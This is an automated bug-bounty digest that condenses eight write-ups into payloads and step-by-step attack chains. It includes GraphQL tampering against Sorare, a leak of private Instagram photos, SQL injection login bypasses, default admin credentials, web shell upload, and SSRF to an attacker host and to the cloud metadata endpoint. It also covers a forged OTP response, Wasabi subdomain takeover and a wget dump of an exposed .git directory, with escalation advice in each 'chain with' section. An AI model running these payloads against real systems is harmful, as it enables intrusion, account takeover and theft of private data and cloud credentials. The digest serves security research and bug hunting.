

ETX Signal-X

Daily Intelligence Digest

Sunday, March 15, 2026

8

ARTICLES

12

TECHNIQUES

How \$300 Was Earned by Exploiting Sorare's Captain Logic Flaw

Source: securitycipher

Date: 20-Jun-2025

URL: <https://medium.com/h7w/how-300-was-earned-by-exploiting-sorares-captain-logic-flaw-9dbd836c315b>

T1 Multi-Captain Score Boost via GraphQL API Tampering

Payload

```
POST /federation/graphql HTTP/1.1
Host: sorare.com
Content-Type: application/json
Cookie: [valid session cookie]

{ "operationName": "CreateOrUpdateSo5LineupMutation", "variables": { "lineup": [
{ "playerId": "1", "captain": true },      { "playerId": "2", "captain": true },      { "playerId": "3", "captain": true },      { "playerId": "4", "captain": true },      { "playerId": "5", "captain": true }    ] }}
```

Attack Chain

- 1 Log into a valid Sorare account and navigate to the football lineup page.
- 2 Build a lineup using the UI and select a single captain as required.
- 3 Intercept the POST request to `/federation/graphql` with the `CreateOrUpdateSo5LineupMutation` operation using Burp Suite or browser dev tools.
- 4 Modify the intercepted JSON payload so that every player object in the `lineup` array has `"captain": true`.
- 5 Forward the tampered request to the server.
- 6 Observe that the API accepts the request, resulting in a lineup where all players are captains and each receives the 50% score boost.

Discovery

The researcher noticed the UI enforced a single-captain rule but suspected the backend might not validate this constraint. By intercepting and analyzing the GraphQL request structure, they hypothesized that setting multiple `captain: true` flags might bypass server-side validation. Manual tampering of the payload confirmed the flaw.

Bypass

The UI strictly enforced the one-captain rule, but the backend lacked validation on the `captain` field, allowing arbitrary assignment via direct API manipulation. No additional anti-automation or request integrity checks were present on the relevant mutation.

Chain With

Can be combined with other business logic flaws (e.g., lineup manipulation, NFT trading exploits) for further advantage in competitive or monetary contexts. If the API accepts other bonus-related fields, similar tampering could be attempted for stacking unintended effects.

Researcher reveals evidence of private Instagram profiles leaking photos

Source: threatable

Date:

URL: <https://www.bleepingcomputer.com/news/security/researcher-reveals-evidence-of-private-instagram-profiles-leaking-photos/>

T1 Private Instagram Photo Links Leaked via HTML Source to Unauthenticated Users

Payload

```
GET /[private_profile_username] HTTP/1.1
Host: instagram.com
User-Agent: Mozilla/5.0 (Linux; Android 11; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US,en;q=0.9
Connection: close
```

Attack Chain

- 1 Identify a private Instagram profile (e.g., <https://instagram.com/jatin.py>).
- 2 As an unauthenticated user, send a GET request to the profile URL with a mobile browser User-Agent (e.g., Android Chrome UA).
- 3 Inspect the HTML source code of the response.
- 4 Locate the `polaris\_timeline\_connection` JSON object embedded in the HTML.
- 5 Extract CDN links to private photos and captions from the JSON object.
- 6 Access the leaked photo links directly via the CDN URLs (no authentication required).

Discovery

Researcher noticed that, for some private profiles, the HTML response to unauthenticated mobile User-Agents contained embedded JSON with direct links to private photos. Triggered by inspecting the HTML source code after observing unexpected network activity and content in the page source.

Bypass

The leak only triggered for certain mobile User-Agents; desktop User-Agents or automated crawlers (e.g., Wayback Machine) did not receive the vulnerable response. No authentication or session cookies required; only the correct User-Agent and direct profile access.

Chain With

Leaked CDN URLs could be used for further enumeration or scraping of private content at scale. If CDN URLs are predictable, could allow for mass harvesting or correlation with other leaked data. May enable targeted phishing or social engineering using private photo content.

The Story of How I Hacked one of the online payment system website twice

Source: securitycipher

Date: 20-Nov-2023

URL: <https://christmex.medium.com/the-story-of-how-i-hacked-one-of-the-online-payment-system-website-twice-b0ba48ed13db>

T1 SQL Injection on Blog Subdomain Admin Panel

Payload

```
' or 1=1 limit 1;# -- ' or 1=1 limit 1;# --
```

Attack Chain

- 1 Use Google Dorking to discover subdomains (e.g., blog.redacted.com).
- 2 Locate the login page for the blog admin panel.
- 3 Submit the above SQL injection payload in the username and/or password field.
- 4 Gain access to the admin panel.
- 5 Use the file upload functionality to upload a web shell (e.g., B374k).
- 6 Achieve remote code execution and access to server/database.

Discovery

Manual subdomain enumeration via Google Dorking; targeted login page for SQLi due to prior knowledge of platform (CodeIgniter) and previous vulnerabilities.

Bypass

Targeted the blog subdomain instead of the main domain, exploiting weaker controls on less monitored assets.

Chain With

Use web shell access to pivot to the main domain and other internal systems. Database access for credential reuse or further privilege escalation.

T2

Default Credentials on Admin Panel

Payload

```
username : admin  
password : admin
```

Attack Chain

- 1 Use an admin panel finder tool to enumerate potential admin panel endpoints (e.g., /adminpanel/).
- 2 Attempt login with common default credentials (admin/admin).
- 3 Upon successful login, leverage file upload functionality to deploy a web shell.
- 4 Use shell access to enumerate and exfiltrate sensitive files (e.g., employee IDs, licenses, personal images).

Discovery

After failing SQLi, brute-forced/guessed default credentials based on common misconfigurations and lack of hardening.

Bypass

No brute-force protection or credential rotation; default credentials left enabled on production admin panel.

Chain With

Web shell access for lateral movement, privilege escalation, and data exfiltration. Potential for persistence via backdoor installation.

T3 File Upload to Web Shell (B374k) via Admin Panel

Payload

(B374k web shell PHP payload uploaded via admin panel file upload)

Attack Chain

- 1 Gain access to admin panel (via SQLi or default credentials as above).
- 2 Navigate to file upload functionality.
- 3 Upload B374k web shell PHP file.
- 4 Access the uploaded shell via direct URL to achieve remote code execution.
- 5 Use shell to enumerate, pivot, and exfiltrate sensitive data.

Discovery

Manual exploration of admin panel post-authentication; tested file upload for executable file acceptance.

Bypass

No file extension or content-type validation on upload endpoint; direct access to uploaded files enabled.

Chain With

Combine with SQLi or default creds for initial access. Use shell for privilege escalation, lateral movement, or persistence.

Untitled

Source:

Date:

URL:

T1 SSRF via Cloudflare Image Proxy with External URL Injection

Payload

```
GET /cdn-cgi/image/width=1000,format=auto/https://d1t1i8qjs1coffvlbrb0dz3onx66ucnwu.oast.live HTTP/1.1
Host: x-transaction-exports.[REDACTED].com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Connection: close
```

Attack Chain

- 1 Identify a Cloudflare-protected subdomain serving images via `/cdn-cgi/image/` endpoint (e.g., `x-transaction-exports.[REDACTED].com`).
- 2 Confirm endpoint accepts fully-qualified external URLs as the image path parameter.
- 3 Set up an OAST server (e.g., Interactsh) to capture inbound HTTP requests.
- 4 Send a GET request to `/cdn-cgi/image/width=1000,format=auto/<external-url>`, replacing `` with your controlled OAST domain.
- 5 Observe outbound HTTP requests from Cloudflare IPs to your OAST server, confirming SSRF.

Discovery

Recon of subdomains using tools like `amass`, `subfinder`, and `dnsx` revealed a Cloudflare image proxy endpoint. Suspicious acceptance of external URLs triggered SSRF testing with OAST payloads.

Bypass

No URL filtering or allowlist was present—endpoint accepted any fully-qualified URL, including external and internal IPs (e.g., `http://169.254.169.254/`).

Chain With

Internal service scanning (e.g., `http://localhost:8080/`, `http://127.0.0.1:3000/`) Cloud metadata exfiltration (`http://169.254.169.254/latest/meta-data/` for AWS, `http://metadata.google.internal/` for GCP) Bypassing IP-based firewalls (accessing internal admin panels) XSS via malicious SVGs if the fetched image is rendered in a vulnerable frontend

T2

Stored XSS via Malicious SVG Chained Through Image Proxy SSRF

Payload

```
GET /cdn-cgi/image/width=1000,format=auto/https://attacker.com/malicious.svg HTTP/1.1
Host: x-transaction-exports.[REDACTED].com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Connection: close
```

Attack Chain

- 1 Host a malicious SVG file containing XSS payload on an attacker-controlled domain.
- 2 Craft a request to `/cdn-cgi/image/width=1000,format=auto/https://attacker.com/malicious.svg`.
- 3 If the application stores or renders the proxied image in a frontend context without proper sanitization, the malicious SVG executes, resulting in stored XSS.

Discovery

After confirming SSRF, the possibility of SVG-based XSS was considered due to lack of file-type restrictions and known attack patterns in image proxies.

Bypass

No SVG filtering or content-type validation was enforced by the proxy or frontend, allowing SVGs with embedded scripts to pass through.

Chain With

Combine with SSRF for lateral movement or privilege escalation Persistent XSS in user profiles, dashboards, or any image-rendering context

T3 Internal Cloud Metadata Exfiltration via SSRF

Payload

```
GET /cdn-cgi/image/width=1000,format=auto/http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: x-transaction-exports.[REDACTED].com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Connection: close
```

Attack Chain

- 1 Use the SSRF primitive to target internal cloud metadata endpoints (e.g., AWS, GCP) by specifying their internal IPs in the image proxy URL.
- 2 Send a request to `/cdn-cgi/image/width=1000,format=auto/http://169.254.169.254/latest/meta-data/`.
- 3 If the proxy returns the response, exfiltrate sensitive cloud credentials or instance metadata.

Discovery

Standard SSRF escalation methodology after confirming arbitrary URL fetch; tested known cloud metadata endpoints for exfiltration.

Bypass

No IP filtering or blocklist for internal IP ranges was implemented on the image proxy.

Chain With

Use obtained cloud credentials for privilege escalation, lateral movement, or persistence in cloud environments
Combine with other SSRF payloads for deeper network pivoting

MY First Bounty | Pre Account take Over via respon manipulation | Pre ATO

Source: securitycipher

Date: 27-Jun-2025

URL: <https://nervhym.medium.com/my-first-bounty-pre-account-take-over-via-respon-manipulation-pre-ato-ababd7ca46aa>

T1 Pre-Account Takeover via Response Manipulation (OTP Bypass)

Payload

```
ResponseHTTP/2 200 OK {  "data":{      "loginEmailVerify":{          "code":200,
"success":true,          "message":"Successfully Verified Email",          "use
r":{"id":"[id]",          "email":"example@mail.com"      },          "source":"EMAIL"      }
}}
```

Attack Chain

- 1 Register a new account using a valid email address on the target web application.
- 2 Capture and save the successful email verification response JSON from the registration process.
- 3 Start a new account registration process with a different email/phone number.
- 4 When prompted for OTP, enter a random (invalid) OTP value.
- 5 Intercept the OTP verification request/response using Burp Suite (or similar proxy).
- 6 When the server responds with an error (invalid OTP), replace the intercepted error response with the previously saved successful verification JSON payload.
- 7 Forward the manipulated response to the client.
- 8 The application accepts the registration as verified, bypassing OTP and completing account creation.

Discovery

Researcher noticed the OTP verification step and recalled similar bypasses from prior writeups/POCs. Manual inspection of registration flow and response manipulation in Burp Suite revealed the flaw.

Bypass

The client-side logic trusts the HTTP response for verification status. By injecting a forged success response, the registration flow is tricked into marking the account as verified without a valid OTP.

Chain With

Can be chained with pre-account takeover attacks (e.g., registering accounts for victims before they do, then taking over post-registration). May enable mass account creation or enumeration if not rate-limited. Potential for privilege escalation if registration flow grants elevated roles based on email domain or other attributes.

Wasabi Bucket Takeover | Bug Bounty

Source: securitycipher

Date: 31-Jul-2024

URL: <https://mo9khu93r.medium.com/wasabi-bucket-takeover-bug-bounty-7520e8decde7>

T1

Wasabi Bucket Subdomain Takeover via Orphaned CNAME

Payload

```
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::bucket-name/*"
    }
  ]
}
```

Attack Chain

- 1 Identify a subdomain (e.g., `files.example.com`) with a CNAME record pointing to a non-existent Wasabi bucket (e.g., `files.example.com CNAME files.example-bucket.s3.us-west-1.wasabisys.com`).
- 2 Register a Wasabi account and create a new bucket with the exact name as the vulnerable subdomain's CNAME target (e.g., `files.example-bucket`).
- 3 Select the correct region matching the CNAME (e.g., `us-west-1`).
- 4 Apply a permissive bucket policy to allow public read access (see payload above).
- 5 Upload a file (e.g., `test.html`) to the bucket.
- 6 Access the subdomain (e.g., `https://files.example.com/test.html`) to confirm control and successful takeover.

Discovery

Manual review of subdomains with CNAMEs pointing to Wasabi buckets, especially those returning errors or not resolving. No automated tool signature for Wasabi in common subdomain takeover lists, requiring manual validation.

Bypass

Wasabi is not present in standard subdomain takeover wordlists (e.g., can-i-take-over-xyz), so automated scanners miss this vector. Manual enumeration and validation are required.

Chain With

Host malicious files for phishing, malware, or credential theft. Serve custom HTML/JS for XSS or session hijacking if cookies are scoped to the subdomain. Leverage for further internal recon if the subdomain is trusted by other applications (e.g., CORS, OAuth redirect URIs).

SQL Injection UNION Attack, Determining the Number of Columns Returned by the Query

Source: securitycipher

Date: 06-Nov-2024

URL: <https://medium.com/@marduk.i.am/sql-injection-union-attack-determining-the-number-of-columns-returned-by-the-query-a740b76989fe>

T1 Determining Number of Columns for SQL Injection UNION Attack

Payload

```
' UNION SELECT NULL--
```

Attack Chain

- 1 Identify the injectable parameter (product category filter) in the shopping page.
- 2 Replace the parameter value with a single quote (') to confirm SQL injection (expecting a 500 Internal Server Error).
- 3 Send the following payload in the vulnerable parameter:
- 4 Observe the server response (expecting a 500 Internal Server Error if the column count does not match).
- 5 Incrementally add more NULLs separated by commas in the payload and resend until the response is 200 OK.
- 6 The number of NULLs that results in a 200 OK response reveals the number of columns in the original query.

Discovery

The researcher targeted the product category filter due to its effect on SQL queries and confirmed SQLi by injecting a single quote and observing a 500 error. The approach was to use UNION SELECT with increasing NULLs to match the column count, as indicated by a change from 500 to 200 response.

Bypass

The technique relies on error-based feedback (500 vs 200) to brute-force the correct column count for UNION SELECT. URL encoding may be required depending on the application.

Chain With

Once the column count is known, follow-up attacks can use UNION SELECT to extract data from arbitrary tables/columns, enumerate schema, or escalate to full data exfiltration.

How I Dump a Full Source Code From a Private GitHub Repo — A Freelance VAPT Story

Source: securitycipher

Date: 28-Jul-2025

URL: <https://vettrivel007.medium.com/how-i-dump-a-full-source-code-from-a-private-github-repo-a-freelance-vapt-story-60400f4188ae>

T1 Full Source Code Extraction via Exposed .git Directory

Payload

```
wget -r -np -nH --cut-dirs=1 https://<REDACTED-IP>/ .git/ -P ~/git-dumps/repo --no-check-certificate
```

Attack Chain

- 1 Identify the web application is accessible via direct IP address as well as domain.
- 2 Use directory fuzzing tools to enumerate directories on the target (e.g., ffuf, dirsearch).
- 3 Detect the presence of an exposed `.git` directory (e.g., <https://<REDACTED-IP>/.git/>).
- 4 Use `wget` with recursive options to mirror the entire `.git` directory to a local folder.
- 5 Clean up junk files (e.g., placeholder index.html) using:
- 6 Validate and optimize the repo with:
- 7 Reconstruct the working source code tree using:
- 8 Review the dumped source code and configuration files for secrets, credentials, and commit history.

Discovery

Directory fuzzing on the direct IP address revealed the presence of a publicly accessible `.git` directory, which is a critical misconfiguration.

Bypass

Accessing the application via direct IP instead of the main domain bypassed potential domain-based access controls or security configurations. The use of `--no-check-certificate` in wget bypassed SSL certificate errors common with direct IP access.

Chain With

Extracted secrets (database credentials, AWS/S3 keys, tokens) can be used for cloud resource compromise, lateral movement, or privilege escalation. Commit history can reveal previously fixed vulnerabilities, logic flaws, or hardcoded credentials for further targeted attacks. Full backend code enables discovery of additional vulnerabilities (e.g., SQLi, RCE, logic bugs) for chaining.

Automated with ❤️ by ethicxhuman